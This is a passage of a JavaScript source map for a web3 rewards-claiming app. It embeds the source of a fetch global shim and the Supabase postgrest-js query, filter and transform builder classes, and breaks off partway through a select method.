"../../node_modules/@ethersproject/providers/src.ts/json-rpc-batch-provider.ts", "../../node_modules/@ethersproject/providers/src.ts/nodesmith-provider.ts", "../../node_modules/@ethersproject/providers/src.ts/pocket-provider.ts", "../../node_modules/@ethersproject/providers/src.ts/web3-provider.ts", "../../node_modules/ethers/src.ts/utils.ts", "../../node_modules/@ethersproject/solidity/src.ts/_version.ts", "../../node_modules/@ethersproject/solidity/src.ts/index.ts", "../../node_modules/@ethersproject/units/src.ts/_version.ts", "../../node_modules/@ethersproject/units/src.ts/index.ts", "../../node_modules/ethers/src.ts/_version.ts", "../../node_modules/ethers/src.ts/index.ts", "../scripts/rewards/web3/use-rpc-handler.ts", "../scripts/rewards/web3/connect-wallet.ts", "../scripts/rewards/abis/erc20-abi.ts", "../scripts/rewards/abis/permit2-abi.ts", "../scripts/rewards/web3/erc20-permit.ts", "../scripts/rewards/web3/handle-if-on-correct-network.ts", "../scripts/rewards/web3/add-network.ts", "../scripts/rewards/web3/switch-network.ts", "../scripts/rewards/web3/not-on-correct-network.ts", "../scripts/rewards/web3/verify-current-network.ts", "../scripts/rewards/render-transaction/render-transaction.ts", "../scripts/rewards/abis/nft-reward-abi.ts", "../scripts/rewards/web3/erc721-permit.ts", "../scripts/rewards/render-transaction/insert-table-data.ts", "../scripts/rewards/abis/cirip.json", "../scripts/rewards/cirip/query-graph.ts", "../scripts/rewards/cirip/fetch-ens.ts", "../scripts/rewards/cirip/query-reverse-ens.ts", "../scripts/rewards/cirip/ens-lookup.ts", "../scripts/rewards/render-transaction/render-ens-name.ts", "../scripts/rewards/render-transaction/render-token-symbol.ts", "../scripts/rewards/render-transaction/utils.ts", "../scripts/rewards/render-transaction/claim-rewards-pagination.ts", "../scripts/rewards/render-transaction/set-claim-message.ts", "../scripts/rewards/the-grid.ts", "../scripts/rewards/init.ts"], - "sourcesContent": ["\"use strict\";\n\n// ref: https://github.com/tc39/proposal-global\nvar getGlobal = function() {\n // the only reliable means to get the global object is\n // `Function('return this')()`\n // However, this causes CSP violations in Chrome apps.\n if (typeof self !== 'undefined') { return self; }\n if (typeof window !== 'undefined') { return window; }\n if (typeof global !== 'undefined') { return global; }\n throw new Error('unable to locate global object');\n}\n\nvar globalObject = getGlobal();\n\nexport const fetch = globalObject.fetch;\n\nexport default globalObject.fetch.bind(globalObject);\n\nexport const Headers = globalObject.Headers;\nexport const Request = globalObject.Request;\nexport const Response = globalObject.Response;\n", "import type { PostgrestError as IPostgrestError } from './types'\n\nexport default class PostgrestError extends Error implements IPostgrestError {\n details: string\n hint: string\n code: string\n\n constructor(context: IPostgrestError) {\n super(context.message)\n this.name = 'PostgrestError'\n this.details = context.details\n this.hint = context.hint\n this.code = context.code\n }\n}\n", "// @ts-ignore\nimport nodeFetch from '@supabase/node-fetch'\n\nimport type { Fetch, PostgrestSingleResponse } from './types'\nimport PostgrestError from './PostgrestError'\n\nexport default abstract class PostgrestBuilder\n implements PromiseLike>\n{\n protected method: 'GET' | 'HEAD' | 'POST' | 'PATCH' | 'DELETE'\n protected url: URL\n protected headers: Record\n protected schema?: string\n protected body?: unknown\n protected shouldThrowOnError = false\n protected signal?: AbortSignal\n protected fetch: Fetch\n protected isMaybeSingle: boolean\n\n constructor(builder: PostgrestBuilder) {\n this.method = builder.method\n this.url = builder.url\n this.headers = builder.headers\n this.schema = builder.schema\n this.body = builder.body\n this.shouldThrowOnError = builder.shouldThrowOnError\n this.signal = builder.signal\n this.isMaybeSingle = builder.isMaybeSingle\n\n if (builder.fetch) {\n this.fetch = builder.fetch\n } else if (typeof fetch === 'undefined') {\n this.fetch = nodeFetch\n } else {\n this.fetch = fetch\n }\n }\n\n /**\n * If there's an error with the query, throwOnError will reject the promise by\n * throwing the error instead of returning it as part of a successful response.\n *\n * {@link https://github.com/supabase/supabase-js/issues/92}\n */\n throwOnError(): this {\n this.shouldThrowOnError = true\n return this\n }\n\n then, TResult2 = never>(\n onfulfilled?:\n | ((value: PostgrestSingleResponse) => TResult1 | PromiseLike)\n | undefined\n | null,\n onrejected?: ((reason: any) => TResult2 | PromiseLike) | undefined | null\n ): PromiseLike {\n // https://postgrest.org/en/stable/api.html#switching-schemas\n if (this.schema === undefined) {\n // skip\n } else if (['GET', 'HEAD'].includes(this.method)) {\n this.headers['Accept-Profile'] = this.schema\n } else {\n this.headers['Content-Profile'] = this.schema\n }\n if (this.method !== 'GET' && this.method !== 'HEAD') {\n this.headers['Content-Type'] = 'application/json'\n }\n\n // NOTE: Invoke w/o `this` to avoid illegal invocation error.\n // https://github.com/supabase/postgrest-js/pull/247\n const _fetch = this.fetch\n let res = _fetch(this.url.toString(), {\n method: this.method,\n headers: this.headers,\n body: JSON.stringify(this.body),\n signal: this.signal,\n }).then(async (res) => {\n let error = null\n let data = null\n let count: number | null = null\n let status = res.status\n let statusText = res.statusText\n\n if (res.ok) {\n if (this.method !== 'HEAD') {\n const body = await res.text()\n if (body === '') {\n // Prefer: return=minimal\n } else if (this.headers['Accept'] === 'text/csv') {\n data = body\n } else if (\n this.headers['Accept'] &&\n this.headers['Accept'].includes('application/vnd.pgrst.plan+text')\n ) {\n data = body\n } else {\n data = JSON.parse(body)\n }\n }\n\n const countHeader = this.headers['Prefer']?.match(/count=(exact|planned|estimated)/)\n const contentRange = res.headers.get('content-range')?.split('/')\n if (countHeader && contentRange && contentRange.length > 1) {\n count = parseInt(contentRange[1])\n }\n\n // Temporary partial fix for https://github.com/supabase/postgrest-js/issues/361\n // Issue persists e.g. for `.insert([...]).select().maybeSingle()`\n if (this.isMaybeSingle && this.method === 'GET' && Array.isArray(data)) {\n if (data.length > 1) {\n error = {\n // https://github.com/PostgREST/postgrest/blob/a867d79c42419af16c18c3fb019eba8df992626f/src/PostgREST/Error.hs#L553\n code: 'PGRST116',\n details: `Results contain ${data.length} rows, application/vnd.pgrst.object+json requires 1 row`,\n hint: null,\n message: 'JSON object requested, multiple (or no) rows returned',\n }\n data = null\n count = null\n status = 406\n statusText = 'Not Acceptable'\n } else if (data.length === 1) {\n data = data[0]\n } else {\n data = null\n }\n }\n } else {\n const body = await res.text()\n\n try {\n error = JSON.parse(body)\n\n // Workaround for https://github.com/supabase/postgrest-js/issues/295\n if (Array.isArray(error) && res.status === 404) {\n data = []\n error = null\n status = 200\n statusText = 'OK'\n }\n } catch {\n // Workaround for https://github.com/supabase/postgrest-js/issues/295\n if (res.status === 404 && body === '') {\n status = 204\n statusText = 'No Content'\n } else {\n error = {\n message: body,\n }\n }\n }\n\n if (error && this.isMaybeSingle && error?.details?.includes('0 rows')) {\n error = null\n status = 200\n statusText = 'OK'\n }\n\n if (error && this.shouldThrowOnError) {\n throw new PostgrestError(error)\n }\n }\n\n const postgrestResponse = {\n error,\n data,\n count,\n status,\n statusText,\n }\n\n return postgrestResponse\n })\n if (!this.shouldThrowOnError) {\n res = res.catch((fetchError) => ({\n error: {\n message: `${fetchError?.name ?? 'FetchError'}: ${fetchError?.message}`,\n details: `${fetchError?.stack ?? ''}`,\n hint: '',\n code: `${fetchError?.code ?? ''}`,\n },\n data: null,\n count: null,\n status: 0,\n statusText: '',\n }))\n }\n\n return res.then(onfulfilled, onrejected)\n }\n}\n", "import PostgrestBuilder from './PostgrestBuilder'\nimport { GetResult } from './select-query-parser'\nimport { GenericSchema } from './types'\n\nexport default class PostgrestTransformBuilder<\n Schema extends GenericSchema,\n Row extends Record,\n Result,\n RelationName = unknown,\n Relationships = unknown\n> extends PostgrestBuilder {\n /**\n * Perform a SELECT on the query result.\n *\n * By default, `.insert()`, `.update()`, `.upsert()`, and `.delete()` do not\n * return modified rows. By calling this method, modified rows are returned in\n * `data`.\n *\n * @param columns - The columns to retrieve, separated by commas\n */\n select<\n Query extends string = '*',\n NewResultOne = GetResult\n >(\n columns?: Query\n ): PostgrestTransformBuilder {\n // Remove whitespaces except when quoted\n let quoted = false\n const cleanedColumns = (columns ?? '*')\n .split('')\n .map((c) => {\n if (/\\s/.test(c) && !quoted) {\n return ''\n }\n if (c === '\"') {\n quoted = !quoted\n }\n return c\n })\n .join('')\n this.url.searchParams.set('select', cleanedColumns)\n if (this.headers['Prefer']) {\n this.headers['Prefer'] += ','\n }\n this.headers['Prefer'] += 'return=representation'\n return this as unknown as PostgrestTransformBuilder<\n Schema,\n Row,\n NewResultOne[],\n RelationName,\n Relationships\n >\n }\n\n order(\n column: ColumnName,\n options?: { ascending?: boolean; nullsFirst?: boolean; referencedTable?: undefined }\n ): this\n order(\n column: string,\n options?: { ascending?: boolean; nullsFirst?: boolean; referencedTable?: string }\n ): this\n /**\n * @deprecated Use `options.referencedTable` instead of `options.foreignTable`\n */\n order(\n column: ColumnName,\n options?: { ascending?: boolean; nullsFirst?: boolean; foreignTable?: undefined }\n ): this\n /**\n * @deprecated Use `options.referencedTable` instead of `options.foreignTable`\n */\n order(\n column: string,\n options?: { ascending?: boolean; nullsFirst?: boolean; foreignTable?: string }\n ): this\n /**\n * Order the query result by `column`.\n *\n * You can call this method multiple times to order by multiple columns.\n *\n * You can order referenced tables, but it only affects the ordering of the\n * parent table if you use `!inner` in the query.\n *\n * @param column - The column to order by\n * @param options - Named parameters\n * @param options.ascending - If `true`, the result will be in ascending order\n * @param options.nullsFirst - If `true`, `null`s appear first. If `false`,\n * `null`s appear last.\n * @param options.referencedTable - Set this to order a referenced table by\n * its columns\n * @param options.foreignTable - Deprecated, use `options.referencedTable`\n * instead\n */\n order(\n column: string,\n {\n ascending = true,\n nullsFirst,\n foreignTable,\n referencedTable = foreignTable,\n }: {\n ascending?: boolean\n nullsFirst?: boolean\n foreignTable?: string\n referencedTable?: string\n } = {}\n ): this {\n const key = referencedTable ? `${referencedTable}.order` : 'order'\n const existingOrder = this.url.searchParams.get(key)\n\n this.url.searchParams.set(\n key,\n `${existingOrder ? `${existingOrder},` : ''}${column}.${ascending ? 'asc' : 'desc'}${\n nullsFirst === undefined ? '' : nullsFirst ? '.nullsfirst' : '.nullslast'\n }`\n )\n return this\n }\n\n /**\n * Limit the query result by `count`.\n *\n * @param count - The maximum number of rows to return\n * @param options - Named parameters\n * @param options.referencedTable - Set this to limit rows of referenced\n * tables instead of the parent table\n * @param options.foreignTable - Deprecated, use `options.referencedTable`\n * instead\n */\n limit(\n count: number,\n {\n foreignTable,\n referencedTable = foreignTable,\n }: { foreignTable?: string; referencedTable?: string } = {}\n ): this {\n const key = typeof referencedTable === 'undefined' ? 'limit' : `${referencedTable}.limit`\n this.url.searchParams.set(key, `${count}`)\n return this\n }\n\n /**\n * Limit the query result by starting at an offset `from` and ending at the offset `to`.\n * Only records within this range are returned.\n * This respects the query order and if there is no order clause the range could behave unexpectedly.\n * The `from` and `to` values are 0-based and inclusive: `range(1, 3)` will include the second, third\n * and fourth rows of the query.\n *\n * @param from - The starting index from which to limit the result\n * @param to - The last index to which to limit the result\n * @param options - Named parameters\n * @param options.referencedTable - Set this to limit rows of referenced\n * tables instead of the parent table\n * @param options.foreignTable - Deprecated, use `options.referencedTable`\n * instead\n */\n range(\n from: number,\n to: number,\n {\n foreignTable,\n referencedTable = foreignTable,\n }: { foreignTable?: string; referencedTable?: string } = {}\n ): this {\n const keyOffset =\n typeof referencedTable === 'undefined' ? 'offset' : `${referencedTable}.offset`\n const keyLimit = typeof referencedTable === 'undefined' ? 'limit' : `${referencedTable}.limit`\n this.url.searchParams.set(keyOffset, `${from}`)\n // Range is inclusive, so add 1\n this.url.searchParams.set(keyLimit, `${to - from + 1}`)\n return this\n }\n\n /**\n * Set the AbortSignal for the fetch request.\n *\n * @param signal - The AbortSignal to use for the fetch request\n */\n abortSignal(signal: AbortSignal): this {\n this.signal = signal\n return this\n }\n\n /**\n * Return `data` as a single object instead of an array of objects.\n *\n * Query result must be one row (e.g. using `.limit(1)`), otherwise this\n * returns an error.\n */\n single<\n ResultOne = Result extends (infer ResultOne)[] ? ResultOne : never\n >(): PostgrestBuilder {\n this.headers['Accept'] = 'application/vnd.pgrst.object+json'\n return this as PostgrestBuilder\n }\n\n /**\n * Return `data` as a single object instead of an array of objects.\n *\n * Query result must be zero or one row (e.g. using `.limit(1)`), otherwise\n * this returns an error.\n */\n maybeSingle<\n ResultOne = Result extends (infer ResultOne)[] ? ResultOne : never\n >(): PostgrestBuilder {\n // Temporary partial fix for https://github.com/supabase/postgrest-js/issues/361\n // Issue persists e.g. for `.insert([...]).select().maybeSingle()`\n if (this.method === 'GET') {\n this.headers['Accept'] = 'application/json'\n } else {\n this.headers['Accept'] = 'application/vnd.pgrst.object+json'\n }\n this.isMaybeSingle = true\n return this as PostgrestBuilder\n }\n\n /**\n * Return `data` as a string in CSV format.\n */\n csv(): PostgrestBuilder {\n this.headers['Accept'] = 'text/csv'\n return this as PostgrestBuilder\n }\n\n /**\n * Return `data` as an object in [GeoJSON](https://geojson.org) format.\n */\n geojson(): PostgrestBuilder> {\n this.headers['Accept'] = 'application/geo+json'\n return this as PostgrestBuilder>\n }\n\n /**\n * Return `data` as the EXPLAIN plan for the query.\n *\n * You need to enable the\n * [db_plan_enabled](https://supabase.com/docs/guides/database/debugging-performance#enabling-explain)\n * setting before using this method.\n *\n * @param options - Named parameters\n *\n * @param options.analyze - If `true`, the query will be executed and the\n * actual run time will be returned\n *\n * @param options.verbose - If `true`, the query identifier will be returned\n * and `data` will include the output columns of the query\n *\n * @param options.settings - If `true`, include information on configuration\n * parameters that affect query planning\n *\n * @param options.buffers - If `true`, include information on buffer usage\n *\n * @param options.wal - If `true`, include information on WAL record generation\n *\n * @param options.format - The format of the output, can be `\"text\"` (default)\n * or `\"json\"`\n */\n explain({\n analyze = false,\n verbose = false,\n settings = false,\n buffers = false,\n wal = false,\n format = 'text',\n }: {\n analyze?: boolean\n verbose?: boolean\n settings?: boolean\n buffers?: boolean\n wal?: boolean\n format?: 'json' | 'text'\n } = {}): PostgrestBuilder[]> | PostgrestBuilder {\n const options = [\n analyze ? 'analyze' : null,\n verbose ? 'verbose' : null,\n settings ? 'settings' : null,\n buffers ? 'buffers' : null,\n wal ? 'wal' : null,\n ]\n .filter(Boolean)\n .join('|')\n // An Accept header can carry multiple media types but postgrest-js always sends one\n const forMediatype = this.headers['Accept'] ?? 'application/json'\n this.headers[\n 'Accept'\n ] = `application/vnd.pgrst.plan+${format}; for=\"${forMediatype}\"; options=${options};`\n if (format === 'json') return this as PostgrestBuilder[]>\n else return this as PostgrestBuilder\n }\n\n /**\n * Rollback the query.\n *\n * `data` will still be returned, but the query is not committed.\n */\n rollback(): this {\n if ((this.headers['Prefer'] ?? '').trim().length > 0) {\n this.headers['Prefer'] += ',tx=rollback'\n } else {\n this.headers['Prefer'] = 'tx=rollback'\n }\n return this\n }\n\n /**\n * Override the type of the returned `data`.\n *\n * @typeParam NewResult - The new result type to override with\n */\n returns(): PostgrestTransformBuilder<\n Schema,\n Row,\n NewResult,\n RelationName,\n Relationships\n > {\n return this as unknown as PostgrestTransformBuilder<\n Schema,\n Row,\n NewResult,\n RelationName,\n Relationships\n >\n }\n}\n", "import PostgrestTransformBuilder from './PostgrestTransformBuilder'\nimport { GenericSchema } from './types'\n\ntype FilterOperator =\n | 'eq'\n | 'neq'\n | 'gt'\n | 'gte'\n | 'lt'\n | 'lte'\n | 'like'\n | 'ilike'\n | 'is'\n | 'in'\n | 'cs'\n | 'cd'\n | 'sl'\n | 'sr'\n | 'nxl'\n | 'nxr'\n | 'adj'\n | 'ov'\n | 'fts'\n | 'plfts'\n | 'phfts'\n | 'wfts'\n\nexport default class PostgrestFilterBuilder<\n Schema extends GenericSchema,\n Row extends Record,\n Result,\n RelationName = unknown,\n Relationships = unknown\n> extends PostgrestTransformBuilder {\n eq(\n column: ColumnName,\n value: NonNullable\n ): this\n eq(column: string, value: NonNullable): this\n /**\n * Match only rows where `column` is equal to `value`.\n *\n * To check if the value of `column` is NULL, you should use `.is()` instead.\n *\n * @param column - The column to filter on\n * @param value - The value to filter with\n */\n eq(column: string, value: unknown): this {\n this.url.searchParams.append(column, `eq.${value}`)\n return this\n }\n\n neq(column: ColumnName, value: Row[ColumnName]): this\n neq(column: string, value: unknown): this\n /**\n * Match only rows where `column` is not equal to `value`.\n *\n * @param column - The column to filter on\n * @param value - The value to filter with\n */\n neq(column: string, value: unknown): this {\n this.url.searchParams.append(column, `neq.${value}`)\n return this\n }\n\n gt(column: ColumnName, value: Row[ColumnName]): this\n gt(column: string, value: unknown): this\n /**\n * Match only rows where `column` is greater than `value`.\n *\n * @param column - The column to filter on\n * @param value - The value to filter with\n */\n gt(column: string, value: unknown): this {\n this.url.searchParams.append(column, `gt.${value}`)\n return this\n }\n\n gte(column: ColumnName, value: Row[ColumnName]): this\n gte(column: string, value: unknown): this\n /**\n * Match only rows where `column` is greater than or equal to `value`.\n *\n * @param column - The column to filter on\n * @param value - The value to filter with\n */\n gte(column: string, value: unknown): this {\n this.url.searchParams.append(column, `gte.${value}`)\n return this\n }\n\n lt(column: ColumnName, value: Row[ColumnName]): this\n lt(column: string, value: unknown): this\n /**\n * Match only rows where `column` is less than `value`.\n *\n * @param column - The column to filter on\n * @param value - The value to filter with\n */\n lt(column: string, value: unknown): this {\n this.url.searchParams.append(column, `lt.${value}`)\n return this\n }\n\n lte(column: ColumnName, value: Row[ColumnName]): this\n lte(column: string, value: unknown): this\n /**\n * Match only rows where `column` is less than or equal to `value`.\n *\n * @param column - The column to filter on\n * @param value - The value to filter with\n */\n lte(column: string, value: unknown): this {\n this.url.searchParams.append(column, `lte.${value}`)\n return this\n }\n\n like(column: ColumnName, pattern: string): this\n like(column: string, pattern: string): this\n /**\n * Match only rows where `column` matches `pattern` case-sensitively.\n *\n * @param column - The column to filter on\n * @param pattern - The pattern to match with\n */\n like(column: string, pattern: string): this {\n this.url.searchParams.append(column, `like.${pattern}`)\n return this\n }\n\n likeAllOf(\n column: ColumnName,\n patterns: readonly string[]\n ): this\n likeAllOf(column: string, patterns: readonly string[]): this\n /**\n * Match only rows where `column` matches all of `patterns` case-sensitively.\n *\n * @param column - The column to filter on\n * @param patterns - The patterns to match with\n */\n likeAllOf(column: string, patterns: readonly string[]): this {\n this.url.searchParams.append(column, `like(all).{${patterns.join(',')}}`)\n return this\n }\n\n likeAnyOf(\n column: ColumnName,\n patterns: readonly string[]\n ): this\n likeAnyOf(column: string, patterns: readonly string[]): this\n /**\n * Match only rows where `column` matches any of `patterns` case-sensitively.\n *\n * @param column - The column to filter on\n * @param patterns - The patterns to match with\n */\n likeAnyOf(column: string, patterns: readonly string[]): this {\n this.url.searchParams.append(column, `like(any).{${patterns.join(',')}}`)\n return this\n }\n\n ilike(column: ColumnName, pattern: string): this\n ilike(column: string, pattern: string): this\n /**\n * Match only rows where `column` matches `pattern` case-insensitively.\n *\n * @param column - The column to filter on\n * @param pattern - The pattern to match with\n */\n ilike(column: string, pattern: string): this {\n this.url.searchParams.append(column, `ilike.${pattern}`)\n return this\n }\n\n ilikeAllOf(\n column: ColumnName,\n patterns: readonly string[]\n ): this\n ilikeAllOf(column: string, patterns: readonly string[]): this\n /**\n * Match only rows where `column` matches all of `patterns` case-insensitively.\n *\n * @param column - The column to filter on\n * @param patterns - The patterns to match with\n */\n ilikeAllOf(column: string, patterns: readonly string[]): this {\n this.url.searchParams.append(column, `ilike(all).{${patterns.join(',')}}`)\n return this\n }\n\n ilikeAnyOf(\n column: ColumnName,\n patterns: readonly string[]\n ): this\n ilikeAnyOf(column: string, patterns: readonly string[]): this\n /**\n * Match only rows where `column` matches any of `patterns` case-insensitively.\n *\n * @param column - The column to filter on\n * @param patterns - The patterns to match with\n */\n ilikeAnyOf(column: string, patterns: readonly string[]): this {\n this.url.searchParams.append(column, `ilike(any).{${patterns.join(',')}}`)\n return this\n }\n\n is(\n column: ColumnName,\n value: Row[ColumnName] & (boolean | null)\n ): this\n is(column: string, value: boolean | null): this\n /**\n * Match only rows where `column` IS `value`.\n *\n * For non-boolean columns, this is only relevant for checking if the value of\n * `column` is NULL by setting `value` to `null`.\n *\n * For boolean columns, you can also set `value` to `true` or `false` and it\n * will behave the same way as `.eq()`.\n *\n * @param column - The column to filter on\n * @param value - The value to filter with\n */\n is(column: string, value: boolean | null): this {\n this.url.searchParams.append(column, `is.${value}`)\n return this\n }\n\n in(\n column: ColumnName,\n values: ReadonlyArray\n ): this\n in(column: string, values: readonly unknown[]): this\n /**\n * Match only rows where `column` is included in the `values` array.\n *\n * @param column - The column to filter on\n * @param values - The values array to filter with\n */\n in(column: string, values: readonly unknown[]): this {\n const cleanedValues = Array.from(new Set(values))\n .map((s) => {\n // handle postgrest reserved characters\n // https://postgrest.org/en/v7.0.0/api.html#reserved-characters\n if (typeof s === 'string' && new RegExp('[,()]').test(s)) return `\"${s}\"`\n else return `${s}`\n })\n .join(',')\n this.url.searchParams.append(column, `in.(${cleanedValues})`)\n return this\n }\n\n contains(\n column: ColumnName,\n value: string | ReadonlyArray | Record\n ): this\n contains(column: string, value: string | readonly unknown[] | Record): this\n /**\n * Only relevant for jsonb, array, and range columns. Match only rows where\n * `column` contains every element appearing in `value`.\n *\n * @param column - The jsonb, array, or range column to filter on\n * @param value - The jsonb, array, or range value to filter with\n */\n contains(column: string, value: string | readonly unknown[] | Record): this {\n if (typeof value === 'string') {\n // range types can be inclusive '[', ']' or exclusive '(', ')' so just\n // keep it simple and accept a string\n this.url.searchParams.append(column, `cs.${value}`)\n } else if (Array.isArray(value)) {\n // array\n this.url.searchParams.append(column, `cs.{${value.join(',')}}`)\n } else {\n // json\n this.url.searchParams.append(column, `cs.${JSON.stringify(value)}`)\n }\n return this\n }\n\n containedBy(\n column: ColumnName,\n value: string | ReadonlyArray | Record\n ): this\n containedBy(column: string, value: string | readonly unknown[] | Record): this\n /**\n * Only relevant for jsonb, array, and range columns. Match only rows where\n * every element appearing in `column` is contained by `value`.\n *\n * @param column - The jsonb, array, or range column to filter on\n * @param value - The jsonb, array, or range value to filter with\n */\n containedBy(column: string, value: string | readonly unknown[] | Record): this {\n if (typeof value === 'string') {\n // range\n this.url.searchParams.append(column, `cd.${value}`)\n } else if (Array.isArray(value)) {\n // array\n this.url.searchParams.append(column, `cd.{${value.join(',')}}`)\n } else {\n // json\n this.url.searchParams.append(column, `cd.${JSON.stringify(value)}`)\n }\n return this\n }\n\n rangeGt(column: ColumnName, range: string): this\n rangeGt(column: string, range: string): this\n /**\n * Only relevant for range columns. Match only rows where every element in\n * `column` is greater than any element in `range`.\n *\n * @param column - The range column to filter on\n * @param range - The range to filter with\n */\n rangeGt(column: string, range: string): this {\n this.url.searchParams.append(column, `sr.${range}`)\n return this\n }\n\n rangeGte(column: ColumnName, range: string): this\n rangeGte(column: string, range: string): this\n /**\n * Only relevant for range columns. Match only rows where every element in\n * `column` is either contained in `range` or greater than any element in\n * `range`.\n *\n * @param column - The range column to filter on\n * @param range - The range to filter with\n */\n rangeGte(column: string, range: string): this {\n this.url.searchParams.append(column, `nxl.${range}`)\n return this\n }\n\n rangeLt(column: ColumnName, range: string): this\n rangeLt(column: string, range: string): this\n /**\n * Only relevant for range columns. Match only rows where every element in\n * `column` is less than any element in `range`.\n *\n * @param column - The range column to filter on\n * @param range - The range to filter with\n */\n rangeLt(column: string, range: string): this {\n this.url.searchParams.append(column, `sl.${range}`)\n return this\n }\n\n rangeLte(column: ColumnName, range: string): this\n rangeLte(column: string, range: string): this\n /**\n * Only relevant for range columns. Match only rows where every element in\n * `column` is either contained in `range` or less than any element in\n * `range`.\n *\n * @param column - The range column to filter on\n * @param range - The range to filter with\n */\n rangeLte(column: string, range: string): this {\n this.url.searchParams.append(column, `nxr.${range}`)\n return this\n }\n\n rangeAdjacent(column: ColumnName, range: string): this\n rangeAdjacent(column: string, range: string): this\n /**\n * Only relevant for range columns. Match only rows where `column` is\n * mutually exclusive to `range` and there can be no element between the two\n * ranges.\n *\n * @param column - The range column to filter on\n * @param range - The range to filter with\n */\n rangeAdjacent(column: string, range: string): this {\n this.url.searchParams.append(column, `adj.${range}`)\n return this\n }\n\n overlaps(\n column: ColumnName,\n value: string | ReadonlyArray\n ): this\n overlaps(column: string, value: string | readonly unknown[]): this\n /**\n * Only relevant for array and range columns. Match only rows where\n * `column` and `value` have an element in common.\n *\n * @param column - The array or range column to filter on\n * @param value - The array or range value to filter with\n */\n overlaps(column: string, value: string | readonly unknown[]): this {\n if (typeof value === 'string') {\n // range\n this.url.searchParams.append(column, `ov.${value}`)\n } else {\n // array\n this.url.searchParams.append(column, `ov.{${value.join(',')}}`)\n }\n return this\n }\n\n textSearch(\n column: ColumnName,\n query: string,\n options?: { config?: string; type?: 'plain' | 'phrase' | 'websearch' }\n ): this\n textSearch(\n column: string,\n query: string,\n options?: { config?: string; type?: 'plain' | 'phrase' | 'websearch' }\n ): this\n /**\n * Only relevant for text and tsvector columns. Match only rows where\n * `column` matches the query string in `query`.\n *\n * @param column - The text or tsvector column to filter on\n * @param query - The query text to match with\n * @param options - Named parameters\n * @param options.config - The text search configuration to use\n * @param options.type - Change how the `query` text is interpreted\n */\n textSearch(\n column: string,\n query: string,\n { config, type }: { config?: string; type?: 'plain' | 'phrase' | 'websearch' } = {}\n ): this {\n let typePart = ''\n if (type === 'plain') {\n typePart = 'pl'\n } else if (type === 'phrase') {\n typePart = 'ph'\n } else if (type === 'websearch') {\n typePart = 'w'\n }\n const configPart = config === undefined ? '' : `(${config})`\n this.url.searchParams.append(column, `${typePart}fts${configPart}.${query}`)\n return this\n }\n\n match(query: Record): this\n match(query: Record): this\n /**\n * Match only rows where each column in `query` keys is equal to its\n * associated value. Shorthand for multiple `.eq()`s.\n *\n * @param query - The object to filter with, with column names as keys mapped\n * to their filter values\n */\n match(query: Record): this {\n Object.entries(query).forEach(([column, value]) => {\n this.url.searchParams.append(column, `eq.${value}`)\n })\n return this\n }\n\n not(\n column: ColumnName,\n operator: FilterOperator,\n value: Row[ColumnName]\n ): this\n not(column: string, operator: string, value: unknown): this\n /**\n * Match only rows which doesn't satisfy the filter.\n *\n * Unlike most filters, `opearator` and `value` are used as-is and need to\n * follow [PostgREST\n * syntax](https://postgrest.org/en/stable/api.html#operators). You also need\n * to make sure they are properly sanitized.\n *\n * @param column - The column to filter on\n * @param operator - The operator to be negated to filter with, following\n * PostgREST syntax\n * @param value - The value to filter with, following PostgREST syntax\n */\n not(column: string, operator: string, value: unknown): this {\n this.url.searchParams.append(column, `not.${operator}.${value}`)\n return this\n }\n\n /**\n * Match only rows which satisfy at least one of the filters.\n *\n * Unlike most filters, `filters` is used as-is and needs to follow [PostgREST\n * syntax](https://postgrest.org/en/stable/api.html#operators). You also need\n * to make sure it's properly sanitized.\n *\n * It's currently not possible to do an `.or()` filter across multiple tables.\n *\n * @param filters - The filters to use, following PostgREST syntax\n * @param options - Named parameters\n * @param options.referencedTable - Set this to filter on referenced tables\n * instead of the parent table\n * @param options.foreignTable - Deprecated, use `referencedTable` instead\n */\n or(\n filters: string,\n {\n foreignTable,\n referencedTable = foreignTable,\n }: { foreignTable?: string; referencedTable?: string } = {}\n ): this {\n const key = referencedTable ? `${referencedTable}.or` : 'or'\n this.url.searchParams.append(key, `(${filters})`)\n return this\n }\n\n filter(\n column: ColumnName,\n operator: `${'' | 'not.'}${FilterOperator}`,\n value: unknown\n ): this\n filter(column: string, operator: string, value: unknown): this\n /**\n * Match only rows which satisfy the filter. This is an escape hatch - you\n * should use the specific filter methods wherever possible.\n *\n * Unlike most filters, `opearator` and `value` are used as-is and need to\n * follow [PostgREST\n * syntax](https://postgrest.org/en/stable/api.html#operators). You also need\n * to make sure they are properly sanitized.\n *\n * @param column - The column to filter on\n * @param operator - The operator to filter with, following PostgREST syntax\n * @param value - The value to filter with, following PostgREST syntax\n */\n filter(column: string, operator: string, value: unknown): this {\n this.url.searchParams.append(column, `${operator}.${value}`)\n return this\n }\n}\n", "import PostgrestBuilder from './PostgrestBuilder'\nimport PostgrestFilterBuilder from './PostgrestFilterBuilder'\nimport { GetResult } from './select-query-parser'\nimport { Fetch, GenericSchema, GenericTable, GenericView } from './types'\n\nexport default class PostgrestQueryBuilder<\n Schema extends GenericSchema,\n Relation extends GenericTable | GenericView,\n RelationName = unknown,\n Relationships = Relation extends { Relationships: infer R } ? R : unknown\n> {\n url: URL\n headers: Record\n schema?: string\n signal?: AbortSignal\n fetch?: Fetch\n\n constructor(\n url: URL,\n {\n headers = {},\n schema,\n fetch,\n }: {\n headers?: Record\n schema?: string\n fetch?: Fetch\n }\n ) {\n this.url = url\n this.headers = headers\n this.schema = schema\n this.fetch = fetch\n }\n\n /**\n * Perform a SELECT query on the table or view.\n *\n * @param columns - The columns to retrieve, separated by commas. Columns can be renamed when returned with `customName:columnName`\n *\n * @param options - Named parameters\n *\n * @param options.head - When set to `true`, `data` will not be returned.\n * Useful if you only need the count.\n *\n * @param options.count - Count algorithm to use to count rows in the table or view.\n *\n * `\"exact\"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the\n * hood.\n *\n * `\"planned\"`: Approximated but fast count algorithm. Uses the Postgres\n * statistics under the hood.\n *\n * `\"estimated\"`: Uses exact count for low numbers and planned count for high\n * numbers.\n */\n select<\n Query extends string = '*',\n ResultOne = GetResult\n >(\n columns?: Query,\n {\n head = false,\n count,\n }: {\n head?: boolean\n count?: 'exact' | 'planned' | 'estimated'\n } = {}\n ): PostgrestFilterBuilder {\n const method = head ? 'HEAD' : 'GET'\n // Remove whitespaces except when quoted\n let quoted = false\n const cleanedColumns = (columns ?? '*')\n .split('')\n .map((c) => {\n if (/\\s/.test(c) && !quoted) {\n return ''\n }\n if (c === '\"') {\n quoted = !quoted\n }\n return c\n })\n .join('')\n this.url.searchParams.set('select', cleanedColumns)\n if (count) {\n this.headers['Prefer'] = `count=${count}`\n }\n\n return new PostgrestFilterBuilder({\n 